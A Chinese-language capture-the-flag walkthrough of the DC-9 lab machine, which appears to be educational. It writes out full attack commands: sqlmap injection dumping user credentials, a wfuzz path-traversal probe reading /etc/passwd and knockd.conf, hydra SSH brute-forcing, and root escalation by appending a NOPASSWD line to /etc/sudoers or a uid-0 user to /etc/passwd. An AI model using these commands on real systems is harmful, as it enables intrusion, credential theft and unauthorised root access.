文章目录
前言
一、确定靶机地址
二、信息收集
三、寻找漏洞
四、进一步漏洞挖掘
五、关键文件
六、ssh爆破
七、提权
总结
前言
马上过年了,年前再做一下DC靶场最后一个靶机。
一、确定靶机地址
1、可使用arp-scan命令
靶机地址为:172.16.100.109
二、信息收集
1、nmap探测开放端口及服务
开放了80端口,22端口为filtered状态,可能有防火墙也可能关闭。
2、访问http服务
三、寻找漏洞
此页面有许多用户名,和地址栏显示.php说明这个网页大概率是用PHP编写
注意到这里有个search.php,并且有个搜索框,可能是POST提交方式,抓一下包,看看能不嫩sql注入
可以看到参数search很可能存在sql注入,直接用sqlmap扫描
sqlmap -r search -p search --batch --dbs
sqlmap -r search -p search --batch -D "users" -T "UserDetails" -C "id,username,password" --dump
最后查看到users表中的数据
我们可以将文件内容分割 出来,形成用户名和密码字典。
同时查看另一个数据库Staff
同样在users表中发现了数据,是admin的账户和密码hash值,用MD5破解一下
得到账户密码:admin/transorbital1
但是尝试ssh登录失败。
四、进一步漏洞挖掘
使用admin账户登录页面,但是提示页面不存在,猜测是否有文件包含漏洞
尝试使用fuzz模糊测试,测试参数找到/etc/passwd文件,此处需要网站的cookie,登录网站抓包即可获取
wfuzz -b 'PHPSESSID=nfhibu50l40lmh7g4p989k5u0s' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://172.16.100.112/manage.php?FUZZ=../../../../etc/passwd
可以看到参数为file,尝试访问一下
五、关键文件
关于knockd服务
但是最关键的文件在本地文件并不常见,那就是/etc/knockd.conf文件,这个文件是配置好端口敲门服务后产生的,关于端口敲门,有如下说明:
如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
换句话说,如果知道自定义的端口,逐个进行敲门,这样我们就能够开启SSH端口,从而进行连接,所以利用文件包含漏洞来查看knock.conf文件配置,得到自定义端口。
输入/proc/sched_debug查看靶机的任务调用情况,发现开启了knockd服务
输入/etc/knockd.conf,得到敲门端口的顺序
nmap -p 7469 172.16.100.112
nmap -p 8475 172.16.100.112
nmap -p 9842 172.16.100.112
再探测一下端口
这里尝试几次不行可以重启靶机,前后IP有变化不用在意
六、ssh爆破
前面我们利用搜集的信息已经形成了用户名和密码字典,使用hydra工具进行登陆测试
hydra -L users -P password 172.16.100.113 ssh
发现有三个用户可以ssh登录
后续我们可以都登陆一下,查看各自账户里的文件信息
最终对比发现,janitor用户有一个密码.txt
我们将密码内容复制到之前的密码本中,再次进行爆破尝试
发现一个新用户可以ssh登录
使用新用户进行登录
七、提权
查看sudo可以执行的命令,发现可以不用密码执行一个test文件
运行这个文件提示使用python test.py带参数执行
找一下这个文件
进入文件查看内容,分析代码可知这个文件的功能是读取文件1的内容然后写入到文件2
这里提供两种提权方法:
方法一:写一个授权文件,fredf用户可以在all地方以root不需密码执行all命令
方法二:使用Openssl构造加密密码,构造新用户admin为root权限
方法一:
echo "fredf ALL=(root) NOPASSWD:ALL" >> /tmp/sudo.txt
sudo /opt/devstuff/dist/test/test /tmp/sudo.txt /etc/sudoers
尝试切换到root
提权成功
方法二:
利用openssl创建密码,创建后参照/etc/passwd中格式写入文本中
openssl passwd -1 -salt admin 123456
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
执行
sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
cat /etc/passwd
su命令切换用户
提权成功。
总结
这次打靶机过程中主要难点是端口为filtered状态时,不知道有knockd服务。需要得知到knockd服务的知识,查找路径,利用knockd连接到ssh。
knockd 服务 默认路径:/etc/knockd.conf ,后续可以了解一下。